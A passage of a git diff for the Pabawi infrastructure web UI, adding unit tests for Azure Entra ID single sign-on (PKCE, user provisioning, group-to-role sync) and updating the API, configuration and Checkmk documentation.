vi.fn().mockResolvedValue(undefined), + commit: vi.fn().mockResolvedValue(undefined), + rollback: vi.fn().mockResolvedValue(undefined), + withTransaction: vi.fn(), + initialize: vi.fn().mockResolvedValue(undefined), + close: vi.fn().mockResolvedValue(undefined), + isConnected: vi.fn().mockReturnValue(true), + getDialect: vi.fn().mockReturnValue('sqlite' as const), + }; +} + +function createMockConfig(): EntraIdConfig { + return { + enabled: true, + tenantId: 'test-tenant-id-000', + clientId: 'test-client-id-111', + clientSecret: 'test-client-secret-222', // pragma: allowlist secret + redirectUri: 'http://localhost:3000/api/auth/entra-id/callback', + scopes: ['openid', 'profile', 'email'], + groupMapping: null, + jwksCacheTtlMs: 86400000, + }; +} + +function createMockLogger(): LoggerService { + return { + info: vi.fn(), + warn: vi.fn(), + error: vi.fn(), + debug: vi.fn(), + shouldLog: vi.fn().mockReturnValue(true), + formatMessage: vi.fn().mockReturnValue(''), + getLevel: vi.fn().mockReturnValue('info'), + setLogBuffer: vi.fn(), + getLogBuffer: vi.fn().mockReturnValue(null), + } as unknown as LoggerService; +} + +describe('EntraIdService', () => { + let db: DatabaseAdapter; + let config: EntraIdConfig; + let logger: LoggerService; + let service: EntraIdService; + + beforeEach(() => { + db = createMockDb(); + config = createMockConfig(); + logger = createMockLogger(); + service = new EntraIdService( + db, + config, + {} as AuthenticationService, + {} as UserService, + {} as RoleService, + {} as AuditLoggingService, + logger, + ); + }); + + describe('generateAuthorizationUrl()', () => { + it('returns a URL targeting the correct Entra ID authorize endpoint', async () => { + const { url } = await service.generateAuthorizationUrl(); + expect(url).toContain( + `https://login.microsoftonline.com/${config.tenantId}/oauth2/v2.0/authorize`, + ); + }); + + it('includes response_type=code', async () => { + const { url } = await service.generateAuthorizationUrl(); + const params = new URL(url).searchParams; + expect(params.get('response_type')).toBe('code'); + }); + + it('includes the configured client_id', async () => { + const { url } = await service.generateAuthorizationUrl(); + const params = new URL(url).searchParams; + expect(params.get('client_id')).toBe(config.clientId); + }); + + it('includes the configured redirect_uri', async () => { + const { url } = await service.generateAuthorizationUrl(); + const params = new URL(url).searchParams; + expect(params.get('redirect_uri')).toBe(config.redirectUri); + }); + + it('includes space-separated scopes', async () => { + const { url } = await service.generateAuthorizationUrl(); + const params = new URL(url).searchParams; + expect(params.get('scope')).toBe('openid profile email'); + }); + + it('includes a state parameter with at least 32 bytes of entropy (64 hex chars)', async () => { + const { url, state } = await service.generateAuthorizationUrl(); + const params = new URL(url).searchParams; + expect(params.get('state')).toBe(state); + expect(state).toHaveLength(64); // 32 bytes = 64 hex chars + expect(state).toMatch(/^[0-9a-f]+$/); + }); + + it('includes a nonce parameter with at least 32 bytes of entropy', async () => { + const { url } = await service.generateAuthorizationUrl(); + const params = new URL(url).searchParams; + const nonce = params.get('nonce'); + expect(nonce).toHaveLength(64); + expect(nonce).toMatch(/^[0-9a-f]+$/); + }); + + it('includes code_challenge and code_challenge_method=S256', async () => { + const { url } = await service.generateAuthorizationUrl(); + const params = new URL(url).searchParams; + expect(params.get('code_challenge_method')).toBe('S256'); + const challenge = params.get('code_challenge'); + expect(challenge).toBeTruthy(); + // base64url: no +, /, or = characters + expect(challenge).toMatch(/^[A-Za-z0-9_-]+$/); + }); + + it('stores state, nonce, code_verifier in oauth_state_store with 10-minute TTL', async () => { + const before = Date.now(); + await service.generateAuthorizationUrl(); + const after = Date.now(); + + expect(db.execute).toHaveBeenCalledTimes(1); + const [sql, params] = (db.execute as ReturnType).mock.calls[0]; + expect(sql).toContain('INSERT INTO oauth_state_store'); + + const [state, nonce, codeVerifier, createdAt, expiresAt] = params as string[]; + expect(state).toHaveLength(64); + expect(nonce).toHaveLength(64); + // code_verifier: 64 chars from unreserved charset + expect(codeVerifier).toHaveLength(64); + expect(codeVerifier).toMatch(/^[A-Za-z0-9\-._~]+$/); + + // Verify 10-minute TTL + const createdMs = new Date(createdAt).getTime(); + const expiresMs = new Date(expiresAt).getTime(); + expect(createdMs).toBeGreaterThanOrEqual(before); + expect(createdMs).toBeLessThanOrEqual(after); + expect(expiresMs - createdMs).toBe(10 * 60 * 1000); + }); + + it('generates unique state values on each call', async () => { + const r1 = await service.generateAuthorizationUrl(); + const r2 = await service.generateAuthorizationUrl(); + expect(r1.state).not.toBe(r2.state); + }); + + it('logs the generation without exposing secrets', async () => { + await service.generateAuthorizationUrl(); + expect(logger.info).toHaveBeenCalledWith( + 'Generated authorization URL', + expect.objectContaining({ + component: 'EntraIdService', + operation: 'generateAuthorizationUrl', + }), + ); + }); + }); + + describe('cleanupExpiredState()', () => { + it('deletes expired entries and returns the count', async () => { + (db.execute as ReturnType).mockResolvedValue({ changes: 3 }); + const deleted = await service.cleanupExpiredState(); + expect(deleted).toBe(3); + expect(db.execute).toHaveBeenCalledWith( + expect.stringContaining('DELETE FROM oauth_state_store WHERE expires_at < ?'), + expect.any(Array), + ); + }); + + it('returns 0 when no expired entries exist', async () => { + (db.execute as ReturnType).mockResolvedValue({ changes: 0 }); + const deleted = await service.cleanupExpiredState(); + expect(deleted).toBe(0); + }); + + it('logs only when entries are actually deleted', async () => { + (db.execute as ReturnType).mockResolvedValue({ changes: 0 }); + await service.cleanupExpiredState(); + expect(logger.info).not.toHaveBeenCalled(); + + (db.execute as ReturnType).mockResolvedValue({ changes: 2 }); + await service.cleanupExpiredState(); + expect(logger.info).toHaveBeenCalledWith( + expect.stringContaining('2'), + expect.objectContaining({ + component: 'EntraIdService', + operation: 'cleanupExpiredState', + }), + ); + }); + }); + + describe('getProviderInfo()', () => { + it('returns enabled=true and name "Microsoft Entra ID"', () => { + const info = service.getProviderInfo(); + expect(info).toEqual({ enabled: true, name: 'Microsoft Entra ID' }); + }); + }); + + describe('provisionUser()', () => { + let mockUserService: { + findByFederatedIdentity: ReturnType; + findByEmail: ReturnType; + createFederatedUser: ReturnType; + linkFederatedIdentity: ReturnType; + }; + let provisionService: EntraIdService; + + const baseUser: User = { + id: 'user-123', + username: 'testuser', + email: 'test@example.com', + passwordHash: 'hashed', + firstName: 'Test', + lastName: 'User', + isActive: 1, + isAdmin: 0, + createdAt: '2024-01-01T00:00:00.000Z', + updatedAt: '2024-01-01T00:00:00.000Z', + lastLoginAt: null, + }; + + const baseClaims: IdTokenClaims = { + sub: 'entra-sub-abc123', + email: 'test@example.com', + preferred_username: 'testuser', + given_name: 'Test', + family_name: 'User', + nonce: 'nonce-value', + aud: 'test-client-id-111', + iss: 'https://login.microsoftonline.com/test-tenant-id-000/v2.0', + exp: Math.floor(Date.now() / 1000) + 3600, + }; + + beforeEach(() => { + mockUserService = { + findByFederatedIdentity: vi.fn().mockResolvedValue(null), + findByEmail: vi.fn().mockResolvedValue(null), + createFederatedUser: vi.fn().mockResolvedValue(baseUser), + linkFederatedIdentity: vi.fn().mockResolvedValue({ + id: 'fed-id-1', + userId: baseUser.id, + provider: 'entra-id', + subject: baseClaims.sub, + issuer: baseClaims.iss, + email: baseClaims.email, + idToken: null, + createdAt: '2024-01-01T00:00:00.000Z', + updatedAt: '2024-01-01T00:00:00.000Z', + }), + }; + + provisionService = new EntraIdService( + db, + config, + {} as AuthenticationService, + mockUserService as unknown as UserService, + {} as RoleService, + {} as AuditLoggingService, + logger, + ); + }); + + it('throws MISSING_CLAIMS when both email and preferred_username are absent', async () => { + const claims: IdTokenClaims = { + ...baseClaims, + email: '', + preferred_username: '', + }; + + await expect(provisionService.provisionUser(claims)).rejects.toThrow(EntraIdError); + await expect(provisionService.provisionUser(claims)).rejects.toMatchObject({ + code: ENTRA_ID_ERROR_CODES.MISSING_CLAIMS, + }); + }); + + it('returns existing user when federated identity is found (no profile update)', async () => { + mockUserService.findByFederatedIdentity.mockResolvedValue(baseUser); + + const result = await provisionService.provisionUser(baseClaims); + + expect(result).toBe(baseUser); + expect(mockUserService.findByFederatedIdentity).toHaveBeenCalledWith( + 'entra-id', + baseClaims.sub, + ); + // Must not call create or link + expect(mockUserService.createFederatedUser).not.toHaveBeenCalled(); + expect(mockUserService.linkFederatedIdentity).not.toHaveBeenCalled(); + expect(mockUserService.findByEmail).not.toHaveBeenCalled(); + }); + + it('links federated identity to existing email-match user', async () => { + mockUserService.findByFederatedIdentity.mockResolvedValue(null); + mockUserService.findByEmail.mockResolvedValue(baseUser); + + const result = await provisionService.provisionUser(baseClaims); + + expect(result).toBe(baseUser); + expect(mockUserService.linkFederatedIdentity).toHaveBeenCalledWith( + baseUser.id, + 'entra-id', + baseClaims.sub, + baseClaims.iss, + baseClaims.email, + ); + expect(mockUserService.createFederatedUser).not.toHaveBeenCalled(); + }); + + it('creates new federated user when no match found', async () => { + mockUserService.findByFederatedIdentity.mockResolvedValue(null); + mockUserService.findByEmail.mockResolvedValue(null); + + const newUser = { ...baseUser, id: 'new-user-456' }; + mockUserService.createFederatedUser.mockResolvedValue(newUser); + + const result = await provisionService.provisionUser(baseClaims); + + expect(result).toBe(newUser); + expect(mockUserService.createFederatedUser).toHaveBeenCalledWith(baseClaims); + }); + + it('wraps createFederatedUser errors as PROVISIONING_FAILED', async () => { + mockUserService.findByFederatedIdentity.mockResolvedValue(null); + mockUserService.findByEmail.mockResolvedValue(null); + mockUserService.createFederatedUser.mockRejectedValue( + new Error('UNIQUE constraint failed: users.username'), + ); + + await expect(provisionService.provisionUser(baseClaims)).rejects.toMatchObject({ + code: ENTRA_ID_ERROR_CODES.PROVISIONING_FAILED, + message: 'Account creation failed', + }); + }); + + it('wraps linkFederatedIdentity errors as PROVISIONING_FAILED', async () => { + mockUserService.findByFederatedIdentity.mockResolvedValue(null); + mockUserService.findByEmail.mockResolvedValue(baseUser); + mockUserService.linkFederatedIdentity.mockRejectedValue( + new Error('DB connection lost'), + ); + + await expect(provisionService.provisionUser(baseClaims)).rejects.toMatchObject({ + code: ENTRA_ID_ERROR_CODES.PROVISIONING_FAILED, + message: 'Account creation failed', + }); + }); + + it('proceeds to createFederatedUser when email is present but no email match', async () => { + mockUserService.findByFederatedIdentity.mockResolvedValue(null); + mockUserService.findByEmail.mockResolvedValue(null); + + await provisionService.provisionUser(baseClaims); + + expect(mockUserService.findByEmail).toHaveBeenCalledWith(baseClaims.email); + expect(mockUserService.createFederatedUser).toHaveBeenCalledWith(baseClaims); + }); + + it('skips email lookup and creates user when email is empty but preferred_username is present', async () => { + const claims: IdTokenClaims = { + ...baseClaims, + email: '', + preferred_username: 'someuser', + }; + + mockUserService.findByFederatedIdentity.mockResolvedValue(null); + + await provisionService.provisionUser(claims); + + // findByEmail should not be called with empty string + expect(mockUserService.findByEmail).not.toHaveBeenCalled(); + expect(mockUserService.createFederatedUser).toHaveBeenCalledWith(claims); + }); + + it('logs provisioning actions without exposing tokens or secrets', async () => { + mockUserService.findByFederatedIdentity.mockResolvedValue(null); + mockUserService.findByEmail.mockResolvedValue(null); + + await provisionService.provisionUser(baseClaims); + + expect(logger.info).toHaveBeenCalledWith( + 'New federated user created', + expect.objectContaining({ + component: 'EntraIdService', + operation: 'provisionUser', + }), + ); + }); + }); + + describe('syncGroupRoles()', () => { + let mockUserService: { + findByFederatedIdentity: ReturnType; + findByEmail: ReturnType; + createFederatedUser: ReturnType; + linkFederatedIdentity: ReturnType; + getUserRoles: ReturnType; + assignRoleToUser: ReturnType; + removeRoleFromUser: ReturnType; + }; + let mockRoleService: { + listRoles: ReturnType; + }; + let syncService: EntraIdService; + + const allRoles = [ + { id: 'role-admin', name: 'Administrator', description: '', isBuiltIn: 1, createdAt: '', updatedAt: '' }, + { id: 'role-operator', name: 'Operator', description: '', isBuiltIn: 1, createdAt: '', updatedAt: '' }, + { id: 'role-viewer', name: 'Viewer', description: '', isBuiltIn: 1, createdAt: '', updatedAt: '' }, + { id: 'role-deploy', name: 'Deployer', description: '', isBuiltIn: 0, createdAt: '', updatedAt: '' }, + ]; + + beforeEach(() => { + mockUserService = { + findByFederatedIdentity: vi.fn(), + findByEmail: vi.fn(), + createFederatedUser: vi.fn(), + linkFederatedIdentity: vi.fn(), + getUserRoles: vi.fn().mockResolvedValue([]), + assignRoleToUser: vi.fn().mockResolvedValue(undefined), + removeRoleFromUser: vi.fn().mockResolvedValue(undefined), + }; + + mockRoleService = { + listRoles: vi.fn().mockResolvedValue({ items: allRoles, total: allRoles.length, limit: 1000, offset: 0 }), + }; + }); + + function createSyncService(groupMapping: Record | null): EntraIdService { + const cfg = { ...createMockConfig(), groupMapping }; + syncService = new EntraIdService( + db, + cfg, + {} as AuthenticationService, + mockUserService as unknown as UserService, + mockRoleService as unknown as RoleService, + {} as AuditLoggingService, + logger, + ); + return syncService; + } + + it('skips sync when groupMapping is null', async () => { + createSyncService(null); + await syncService.syncGroupRoles('user-1', ['group-a']); + expect(mockRoleService.listRoles).not.toHaveBeenCalled(); + expect(mockUserService.getUserRoles).not.toHaveBeenCalled(); + }); + + it('skips sync when groups is undefined', async () => { + createSyncService({ 'group-a': 'Operator' }); + await syncService.syncGroupRoles('user-1', undefined); + expect(mockRoleService.listRoles).not.toHaveBeenCalled(); + expect(mockUserService.getUserRoles).not.toHaveBeenCalled(); + }); + + it('assigns roles for matched group IDs', async () => { + createSyncService({ + 'aaaaaaaa-1111-2222-3333-444444444444': 'Operator', + 'bbbbbbbb-1111-2222-3333-444444444444': 'Deployer', + }); + mockUserService.getUserRoles.mockResolvedValue([]); + + await syncService.syncGroupRoles('user-1', [ + 'aaaaaaaa-1111-2222-3333-444444444444', + 'bbbbbbbb-1111-2222-3333-444444444444', + ]); + + expect(mockUserService.assignRoleToUser).toHaveBeenCalledWith('user-1', 'role-operator'); + expect(mockUserService.assignRoleToUser).toHaveBeenCalledWith('user-1', 'role-deploy'); + expect(mockUserService.assignRoleToUser).toHaveBeenCalledTimes(2); + }); + + it('performs case-insensitive UUID matching', async () => { + createSyncService({ + 'AAAAAAAA-1111-2222-3333-444444444444': 'Operator', + }); + mockUserService.getUserRoles.mockResolvedValue([]); + + await syncService.syncGroupRoles('user-1', [ + 'aaaaaaaa-1111-2222-3333-444444444444', + ]); + + expect(mockUserService.assignRoleToUser).toHaveBeenCalledWith('user-1', 'role-operator'); + }); + + it('revokes mapped roles whose group IDs are no longer in the claim', async () => { + createSyncService({ + 'aaaaaaaa-1111-2222-3333-444444444444': 'Operator', + 'bbbbbbbb-1111-2222-3333-444444444444': 'Deployer', + }); + // User currently has Operator and Deployer + mockUserService.getUserRoles.mockResolvedValue([ + { id: 'role-operator', name: 'Operator', description: '', isBuiltIn: 1, createdAt: '', updatedAt: '' }, + { id: 'role-deploy', name: 'Deployer', description: '', isBuiltIn: 0, createdAt: '', updatedAt: '' }, + ]); + + // Only group-a is in the claim now (Operator stays, Deployer revoked) + await syncService.syncGroupRoles('user-1', [ + 'aaaaaaaa-1111-2222-3333-444444444444', + ]); + + expect(mockUserService.removeRoleFromUser).toHaveBeenCalledWith('user-1', 'role-deploy'); + expect(mockUserService.removeRoleFromUser).toHaveBeenCalledTimes(1); + expect(mockUserService.assignRoleToUser).not.toHaveBeenCalled(); + }); + + it('preserves roles assigned independently of the mapping (manually assigned)', async () => { + createSyncService({ + 'aaaaaaaa-1111-2222-3333-444444444444': 'Operator', + }); + // User has Viewer (manual) and Administrator (manual) — neither in mapping + mockUserService.getUserRoles.mockResolvedValue([ + { id: 'role-viewer', name: 'Viewer', description: '', isBuiltIn: 1, createdAt: '', updatedAt: '' }, + { id: 'role-admin', name: 'Administrator', description: '', isBuiltIn: 1, createdAt: '', updatedAt: '' }, + ]); + + // No groups match the mapping + await syncService.syncGroupRoles('user-1', []); + + // Should NOT remove Viewer or Administrator (they are not managed by this mapping) + expect(mockUserService.removeRoleFromUser).not.toHaveBeenCalled(); + expect(mockUserService.assignRoleToUser).not.toHaveBeenCalled(); + }); + + it('logs warning and skips mapping entry when role does not exist in Pabawi', async () => { + createSyncService({ + 'aaaaaaaa-1111-2222-3333-444444444444': 'NonExistentRole', + 'bbbbbbbb-1111-2222-3333-444444444444': 'Operator', + }); + mockUserService.getUserRoles.mockResolvedValue([]); + + await syncService.syncGroupRoles('user-1', [ + 'aaaaaaaa-1111-2222-3333-444444444444', + 'bbbbbbbb-1111-2222-3333-444444444444', + ]); + + // Should log warning about NonExistentRole + expect(logger.warn).toHaveBeenCalledWith( + expect.stringContaining('NonExistentRole'), + expect.objectContaining({ component: 'EntraIdService' }), + ); + // Should still assign the valid Operator role + expect(mockUserService.assignRoleToUser).toHaveBeenCalledWith('user-1', 'role-operator'); + expect(mockUserService.assignRoleToUser).toHaveBeenCalledTimes(1); + }); + + it('does not assign roles the user already has', async () => { + createSyncService({ + 'aaaaaaaa-1111-2222-3333-444444444444': 'Operator', + }); + // User already has Operator + mockUserService.getUserRoles.mockResolvedValue([ + { id: 'role-operator', name: 'Operator', description: '', isBuiltIn: 1, createdAt: '', updatedAt: '' }, + ]); + + await syncService.syncGroupRoles('user-1', [ + 'aaaaaaaa-1111-2222-3333-444444444444', + ]); + + expect(mockUserService.assignRoleToUser).not.toHaveBeenCalled(); + expect(mockUserService.removeRoleFromUser).not.toHaveBeenCalled(); + }); + + it('handles empty groups claim by revoking all mapped roles', async () => { + createSyncService({ + 'aaaaaaaa-1111-2222-3333-444444444444': 'Operator', + 'bbbbbbbb-1111-2222-3333-444444444444': 'Deployer', + }); + // User has both mapped roles + mockUserService.getUserRoles.mockResolvedValue([ + { id: 'role-operator', name: 'Operator', description: '', isBuiltIn: 1, createdAt: '', updatedAt: '' }, + { id: 'role-deploy', name: 'Deployer', description: '', isBuiltIn: 0, createdAt: '', updatedAt: '' }, + { id: 'role-viewer', name: 'Viewer', description: '', isBuiltIn: 1, createdAt: '', updatedAt: '' }, + ]); + + // Empty groups array — all mapped roles should be revoked, Viewer preserved + await syncService.syncGroupRoles('user-1', []); + + expect(mockUserService.removeRoleFromUser).toHaveBeenCalledWith('user-1', 'role-operator'); + expect(mockUserService.removeRoleFromUser).toHaveBeenCalledWith('user-1', 'role-deploy'); + expect(mockUserService.removeRoleFromUser).toHaveBeenCalledTimes(2); + // Viewer not touched + expect(mockUserService.assignRoleToUser).not.toHaveBeenCalled(); + }); + + it('logs sync completion with counts', async () => { + createSyncService({ + 'aaaaaaaa-1111-2222-3333-444444444444': 'Operator', + }); + mockUserService.getUserRoles.mockResolvedValue([]); + + await syncService.syncGroupRoles('user-1', [ + 'aaaaaaaa-1111-2222-3333-444444444444', + ]); + + expect(logger.info).toHaveBeenCalledWith( + 'Group-to-role sync completed', + expect.objectContaining({ + component: 'EntraIdService', + operation: 'syncGroupRoles', + metadata: expect.objectContaining({ + userId: 'user-1', + assigned: 1, + revoked: 0, + groupCount: 1, + }), + }), + ); + }); + + it('continues gracefully when assignRoleToUser throws (race condition)', async () => { + createSyncService({ + 'aaaaaaaa-1111-2222-3333-444444444444': 'Operator', + 'bbbbbbbb-1111-2222-3333-444444444444': 'Deployer', + }); + mockUserService.getUserRoles.mockResolvedValue([]); + mockUserService.assignRoleToUser + .mockRejectedValueOnce(new Error('Role is already assigned to this user')) + .mockResolvedValueOnce(undefined); + + // Should not throw — the error is swallowed with a log + await expect(syncService.syncGroupRoles('user-1', [ + 'aaaaaaaa-1111-2222-3333-444444444444', + 'bbbbbbbb-1111-2222-3333-444444444444', + ])).resolves.toBeUndefined(); + + expect(logger.warn).toHaveBeenCalledWith( + expect.stringContaining('Failed to assign role'), + expect.any(Object), + ); + }); + }); +}); diff --git a/charts/pabawi/Chart.yaml b/charts/pabawi/Chart.yaml index 306dc728..93f2fa17 100644 --- a/charts/pabawi/Chart.yaml +++ b/charts/pabawi/Chart.yaml @@ -3,7 +3,7 @@ name: pabawi description: Pabawi infrastructure management web UI type: application version: 0.1.0 -appVersion: "1.4.0" +appVersion: "1.5.0" home: https://github.com/example42/pabawi sources: - https://github.com/example42/pabawi diff --git a/docs/api.md b/docs/api.md index 44c07d5f..66fd47a7 100644 --- a/docs/api.md +++ b/docs/api.md @@ -54,6 +54,10 @@ Common error codes: `COMMAND_NOT_WHITELISTED`, `INTEGRATION_NOT_AVAILABLE`, `NOD | `GET` | `/api/config` | Application configuration | | `GET` | `/api/config/ui` | UI-specific configuration | +`GET /api/config` returns the command-whitelist policy (`allowAll`, `matchMode`, +`whitelist`) only to callers holding `bolt:execute`; other authenticated users +receive `executionTimeout` only. + --- ## Integrations @@ -223,9 +227,18 @@ Query param: `days` (default 7, max 365). | `GET` | `/api/executions/:id/original` | Get the original execution for a re-run | | `GET` | `/api/executions/:id/re-executions` | All re-runs of an execution | | `POST` | `/api/executions/:id/cancel` | Cancel a running execution | +| `POST` | `/api/executions/batch` | Run an action across multiple nodes / groups | +| `GET` | `/api/executions/batch/:batchId` | Batch execution status | +| `POST` | `/api/executions/batch/:batchId/cancel` | Cancel a batch execution | | `GET` | `/api/executions/queue/status` | Execution queue status | | `GET` | `/api/streaming/stats` | Streaming server stats | +**Authorization:** the command-executing / mutating routes +(`/batch`, `/:id/re-execute`, `/:id/cancel`, `/batch/:batchId/cancel`) require +the `bolt:execute` permission. Command-type requests are validated against the +[command whitelist](configuration.md#command-whitelist) — shell metacharacters +are always rejected. The read-only `GET` routes require authentication only. + **`GET /api/executions` query params:** | Param | Description | @@ -583,8 +596,44 @@ Require `AUTH_ENABLED=true`. All endpoints require JWT auth and appropriate RBAC | Method | Endpoint | Description | |---|---|---| | `POST` | `/api/auth/login` | Login (returns JWT) | -| `POST` | `/api/auth/logout` | Logout | +| `POST` | `/api/auth/logout` | Logout (includes `entraIdLogoutUrl` for SSO sessions) | | `GET` | `/api/auth/me` | Current user info | +| `GET` | `/api/auth/providers` | Available auth methods (public, no auth required) | + +### Azure Entra ID SSO + +Available when `ENTRA_ID_ENABLED=true`. Returns 404 otherwise. + +| Method | Endpoint | Description | +|---|---|---| +| `GET` | `/api/auth/entra-id/login` | Redirects (302) to Microsoft login | +| `GET` | `/api/auth/entra-id/callback` | OAuth callback — exchanges code, redirects to frontend | +| `POST` | `/api/auth/entra-id/token` | Exchange single-use auth code for JWT pair | + +**`GET /api/auth/providers` response:** + +```json +{ + "local": true, + "entraId": { "enabled": true, "name": "Microsoft Entra ID" } +} +``` + +**`POST /api/auth/entra-id/token` request:** + +```json +{ "code": "" } +``` + +**`POST /api/auth/entra-id/token` response:** + +```json +{ + "token": "", + "refreshToken": "", + "user": { "id": "...", "username": "...", "email": "..." } +} +``` --- diff --git a/docs/architecture.md b/docs/architecture.md index 0b12a974..d484955e 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -155,6 +155,7 @@ backend/src/ │ ├── CommandWhitelistService.ts security: allowed commands │ ├── DatabaseService.ts SQLite, migrations │ ├── AuthenticationService.ts JWT auth +│ ├── EntraIdService.ts Azure Entra ID SSO (OIDC, PKCE, user provisioning) │ ├── BatchExecutionService.ts multi-node execution │ ├── UserService.ts │ ├── RoleService.ts @@ -181,6 +182,7 @@ frontend/src/ └── lib/ ├── router.svelte.ts client-side router (Svelte 5 runes) ├── auth.svelte.ts JWT auth state + ├── entraIdAuth.svelte.ts Entra ID SSO state (provider discovery, callback handling) ├── api.ts HTTP infrastructure (get, post, put, del, error handling) ├── proxmoxApi.ts Proxmox provisioning API functions ├── awsApi.ts AWS EC2 API functions @@ -208,6 +210,7 @@ Schema is managed by sequential migration files in `database/migrations/`. A mig - **Command whitelisting** — `CommandWhitelistService` validates every command before execution. Set `COMMAND_WHITELIST_ALLOW_ALL=false` in production. - **JWT authentication** — all API routes behind auth middleware when `AUTH_ENABLED=true`. +- **Azure Entra ID SSO** — optional federated authentication via OpenID Connect (OAuth 2.0 Authorization Code + PKCE). Coexists with local auth. See [integrations/entra-id.md](integrations/entra-id.md). - **RBAC** — role-based access control via `UserService`, `RoleService`, `PermissionService`. See [permissions-rbac.md](./permissions-rbac.md). - **Rate limiting** — applied at middleware level. - **Security headers** — helmet middleware. diff --git a/docs/configuration.md b/docs/configuration.md index 4cf06ceb..1b52bef5 100644 --- a/docs/configuration.md +++ b/docs/configuration.md @@ -73,6 +73,24 @@ DATABASE_URL=postgres://pabawi:pabawi@postgres:5432/pabawi | `JWT_SECRET` | **required** | Secret key for JWT token signing. Must be ≥ 32 chars of random entropy and not a placeholder (e.g. `your-secure-random-secret-here`, `change-me`). Generate with `openssl rand -base64 32`. The server refuses to start otherwise. Tokens are issued/verified with `iss=pabawi` / `aud=pabawi`. | | `PABAWI_LIFECYCLE_TOKEN` | _(empty)_ | Bearer token required for inventory lifecycle endpoints (`POST /api/nodes/:id/action`, `DELETE /api/inventory/:id`). When unset, those endpoints return 500 (`LIFECYCLE_AUTH_MISCONFIGURED`). | +### Azure Entra ID SSO + +Optional federated authentication via OpenID Connect. When enabled, the login page shows "Sign in with Microsoft" alongside local login. See [integrations/entra-id.md](./integrations/entra-id.md) for Azure portal setup. + +| Variable | Default | Description | +|---|---|---| +| `ENTRA_ID_ENABLED` | `false` | Set to `"true"` to enable Entra ID SSO. All other `ENTRA_ID_*` vars are ignored unless this is `"true"`. | +| `ENTRA_ID_TENANT_ID` | **required** | Azure tenant (directory) ID | +| `ENTRA_ID_CLIENT_ID` | **required** | Application (client) ID from the app registration | +| `ENTRA_ID_CLIENT_SECRET` | **required** | Client secret value | +| `ENTRA_ID_REDIRECT_URI` | **required** | OAuth callback URL (must match Azure app registration). Format: `https://your-host/api/auth/entra-id/callback` | +| `ENTRA_ID_SCOPES` | `openid,profile,email` | Comma-separated OAuth scopes. Empty entries are discarded. | +| `ENTRA_ID_GROUP_MAPPING` | _(none)_ | JSON object mapping Azure group IDs to Pabawi role names. Example: `{"uuid-1":"administrator","uuid-2":"operator"}` | +| `ENTRA_ID_POST_LOGOUT_REDIRECT_URI` | _(app base URL)_ | Where Microsoft redirects after SSO logout | +| `ENTRA_ID_JWKS_CACHE_TTL_MS` | `86400000` | How long to cache JWKS signing keys (ms). Default: 24 hours. | + +When `ENTRA_ID_ENABLED=true`, all four required variables must be set or the server refuses to start with a validation error listing the missing ones. + ## Bolt | Variable | Default | Description | @@ -115,6 +133,13 @@ COMMAND_WHITELIST_MATCH_MODE=prefix Never set `COMMAND_WHITELIST_ALLOW_ALL=true` in production. +The whitelist is enforced on **every** command-execution path — single-node +(`POST /api/nodes/:id/command`), multi-node batch (`POST /api/executions/batch`), +and re-execution (`POST /api/executions/:id/re-execute`). Shell metacharacters +(`; | & \` $() {} * ? [] ~ < > \\` and newlines) and commands beginning with `-` +are **always** rejected, even when `COMMAND_WHITELIST_ALLOW_ALL=true`, because +they would be interpreted by the remote shell on the target node. + ## Streaming | Variable | Default | Description | @@ -123,6 +148,24 @@ Never set `COMMAND_WHITELIST_ALLOW_ALL=true` in production. | `STREAMING_MAX_OUTPUT_SIZE` | `10485760` | Max output per execution in bytes (10 MB) | | `STREAMING_MAX_LINE_LENGTH` | `10000` | Max characters per output line before truncation | +## Console (VNC / Terminal) + +Settings for the browser-based console proxy (VNC and terminal sessions). + +| Variable | Default | Description | +|---|---|---| +| `CONSOLE_SESSION_TIMEOUT_MS` | `300000` | Idle session timeout in ms (5 min) | +| `CONSOLE_MAX_SESSION_DURATION` | `28800000` | Absolute session lifetime in ms (8 h) | +| `CONSOLE_MAX_CONCURRENT_SESSIONS` | `3` | Max simultaneous console sessions | +| `CONSOLE_HEARTBEAT_INTERVAL_MS` | `30000` | Heartbeat interval in ms (must be less than the idle timeout) | +| `CONSOLE_VERIFY_UPSTREAM_TLS` | `true` | Verify the TLS certificate of the upstream console host | + +`CONSOLE_VERIFY_UPSTREAM_TLS` defaults to `true` (secure). Set it to `false` +**only** on trusted networks where the upstream console host uses a self-signed +certificate — disabling verification exposes the proxied session (which may +carry credentials and keystrokes) to man-in-the-middle attacks, and the server +logs a warning at startup when it is disabled. + ## Caching | Variable | Default | Description | diff --git a/docs/integrations/checkmk.md b/docs/integrations/checkmk.md index b4018aeb..697cc0a0 100644 --- a/docs/integrations/checkmk.md +++ b/docs/integrations/checkmk.md @@ -43,6 +43,7 @@ CHECKMK_PASSWORD=myautomationsecret | **Inventory** | Hosts from Checkmk (priority 8), merged into unified inventory | | **Service monitoring** | Live status of all services on a node (OK, WARN, CRIT, UNKNOWN) | | **State-change events** | Historical events from the Event Console, shown in the Monitor tab and node journal | +| **Acknowledge / downtime** | Operators can acknowledge service problems and schedule downtime windows from the Monitor page (requires `checkmk:write`) | | **Node linking** | Checkmk hosts are linked to existing Pabawi nodes by hostname | ## How It Works @@ -115,14 +116,50 @@ For production, use a properly signed certificate or add the CA to the system tr ## API Endpoints -The Checkmk integration exposes two API endpoints: +The Checkmk integration exposes these API endpoints: -| Method | Path | Description | -|---|---|---| -| GET | `/api/nodes/:nodeId/services` | Live service monitoring status | -| GET | `/api/nodes/:nodeId/monitoring-events` | State-change events (supports `?limit=N`, default 200, max 1000) | - -Both endpoints require JWT authentication and the `monitoring:read` RBAC permission. +| Method | Path | Permission | Description | +|---|---|---|---| +| GET | `/api/nodes/:nodeId/services` | `checkmk:read` | Live service monitoring status | +| GET | `/api/nodes/:nodeId/monitoring-events` | `checkmk:read` | State-change events (supports `?limit=N`, default 200, max 1000) | +| GET | `/api/monitoring/overview` | `checkmk:read` | Global problem/host summary for the Monitor and Home pages | +| POST | `/api/monitoring/acknowledge` | `checkmk:write` | Acknowledge a service problem | +| POST | `/api/monitoring/downtime` | `checkmk:write` | Schedule a downtime window for a service | + +All endpoints require JWT authentication. The `checkmk:read` permission is held +by the Viewer, Operator, Administrator, and Provisioner roles. The +`checkmk:write` permission (acknowledge / downtime) is held by the **Operator** +and **Administrator** roles only. + +### Acknowledging problems and scheduling downtimes + +From the Monitor page, each service problem row has **Ack** and **Downtime** +actions: + +- **Acknowledge** marks the problem as handled. It stays visible but stops + repeat notifications. A comment is required; `sticky` and `notify` are + toggleable (sticky and notify default on). Maps to + `POST 